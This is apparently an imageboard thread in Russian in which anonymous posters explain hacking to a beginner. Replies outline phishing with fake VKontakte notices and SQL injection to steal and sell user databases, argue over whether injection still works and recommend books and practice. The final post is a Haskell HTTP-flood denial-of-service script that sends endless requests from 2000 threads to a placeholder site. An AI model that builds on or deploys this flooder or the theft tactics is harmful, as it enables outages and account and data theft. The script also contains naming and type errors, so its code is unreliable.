Это тред мамкиных кулхацкеров?Шарящие аноны, можете пояснить за всякие снифферы, парсеры, вообще за хакинг?Я понимаю, что хакинг - это набор действий, но каких именно?
>>207170847Арсенал действий огромен, и практически бесконечен.Основной вектор атаки - это всегда человек. Человек ошибается чаще, чем машина. Послать жертве письмо "Вам новое сообщение вконтакте" со ссылкой на фишинговый сайт и заставить там ввести пароль, например.Технические средства - это всякий поиск и эксплуатация уязвимостей в софте. Как правило, это sql инъекция - выполнение произвольных запросов на атакуемом сайте, с помощью которых можно например залогиниться любым пользаком или стянуть базу со всеми данными и потом толкнуть ее в даркнете
>>207172027Понял.А литературку или онлайн-ресурсы по этому вопросу можешь посоветовать?Заранее спасибо.
>>207172027> sql иньекцияУже давно не актуально. Сейчас каждый, кто владеет серваком с mysql закрывает доступ к бд, это раз.Любые потуги выбивания запросов из колеи фиксятся парами строк, исключающие нерациональное поведение - это два.
>>207172278Начать нужно с того, чтобы научиться хорошо программировать, если ты не хочешь быть тупым script kiddie, а действительно понимать, что ты делаешь и придумывать новоеДля понимания принципов мышления - читай книги Криса Касперски
>>207173620Для понимания принципов мышления, надо много и упорно работать, а не только книжки по часу в неделю читать, в свободное от фапа время, многие люди не осознают насколько много усилий и времени необходимо вложить, чтобы стать по-настоящему хорошим IT-специалистом.
>>207173620И самое важное, от того, что ты одну книжку прочитаешь, ты принципов мышления не поймёшь. Книга чаще всего помогает осознать уже накопленный опыт и горазде реже приобретать новый. Практика - вот главный генератор опыта.
>>207170219 (OP){-# LANGUAGE OverloadedStrings #-}import Control.Concurrentimport Network.HTTP.Clientimport qualified Data.ByteString as BSmain = doreq'' <- parseRequest %sitename%manager <- newManagerlet req = req'' {requestHeaders = [("user-agent","dydos")]}let req = urlEncodedBody ([("mamy","ebal")] :: [(BS.ByteString,BS.Bytestring)]) req'let sendReq = httpLbs req managerlet threadKeepAlive = threadDelay 200000000 >> threadKeepAlivelet threads = [1..2000] let reqCountPerThread = [1..]forkIO $ mapM_ (\_ -> forkIO $ mapM_ (\_ -> sendReq >> return ()) reqCountPerThread ) threadsthreadKeepAlive